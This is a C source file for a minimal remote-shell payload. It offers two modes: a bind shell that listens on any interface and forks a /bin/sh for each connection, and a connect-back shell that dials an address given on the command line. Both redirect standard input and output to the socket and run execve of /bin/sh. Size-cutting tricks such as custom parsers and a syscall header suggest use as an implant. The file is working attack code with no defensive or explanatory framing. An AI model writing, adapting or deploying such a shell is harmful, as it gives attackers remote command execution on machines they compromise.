#if !DEBUG
#define __set_errno(x) do {} while(0)
#include <sys/regdef.h>
#include <sys/syscall.h>
#endif

#include <unistd.h>
#include <sys/signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <strings.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>

#if !DEBUG
#include "syscallhack.h"
#endif

#define LISTEN_MODE_SUPPORT 1

static inline int myatoi(const char *p)
{
	int k = 0;
	while (*p)
	{
		k = k * 10 + *p++ - '0';
	}

	return k;
}
static inline in_addr_t my_inet_addr(const char *p)
{
	in_addr_t r = 0;
	int k = 0, shift = 24;
	while (*p)
	{
		char c = *p++;
		if (c == '.')
		{
			r |= k << shift;
			shift -= 8;
			k = 0;
		}
		else
			k = k * 10 + c - '0';
	}
	return htonl(r | (k << shift));
}

int main_entry(int argc, char **argv, char **envv)
{
	int s;
	struct sockaddr_in sin;

	s = socket(AF_INET, SOCK_STREAM, 0);

	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(myatoi(argv[2]));

#if LISTEN_MODE_SUPPORT
	if (argv[1][0] == 'l')
	{
		/* bind shell */
		#if DEBUG
		sin.sin_addr.s_addr = INADDR_LOOPBACK;
		#else
		sin.sin_addr.s_addr = INADDR_ANY;
		#endif
		if (bind(s, (struct sockaddr *) &sin, sizeof(sin)) == 0)
		{
			listen(s, 5);

			for (;;)
			{
				socklen_t slen = sizeof(sin);
				int ns = accept(s, (struct sockaddr *) &sin, &slen);
				pid_t pid = fork();
				if (pid == 0)
				{
					/* client */
					close(s);
					s = ns;
					goto shell;
				}
				/* parent or error */
				signal(SIGCHLD, SIG_IGN); /* prevent zombies */
				close(ns);
			}
		}
	}
	else
#endif
	{
		/* connectback shell */

		sin.sin_addr.s_addr = my_inet_addr(argv[1]);

		if (connect(s, (struct sockaddr *) &sin, sizeof(sin)) == 0)
		{
			shell:
			{
				static const char shellname[] = "/bin/sh";
				const char * const nargv[2] = {shellname, 0};
				int i;

				for (i = 0; i < 3; i++)
					dup2(s, i);

				execve(nargv[0], nargv, envv);
			}
		}
	}

	exit(0);
}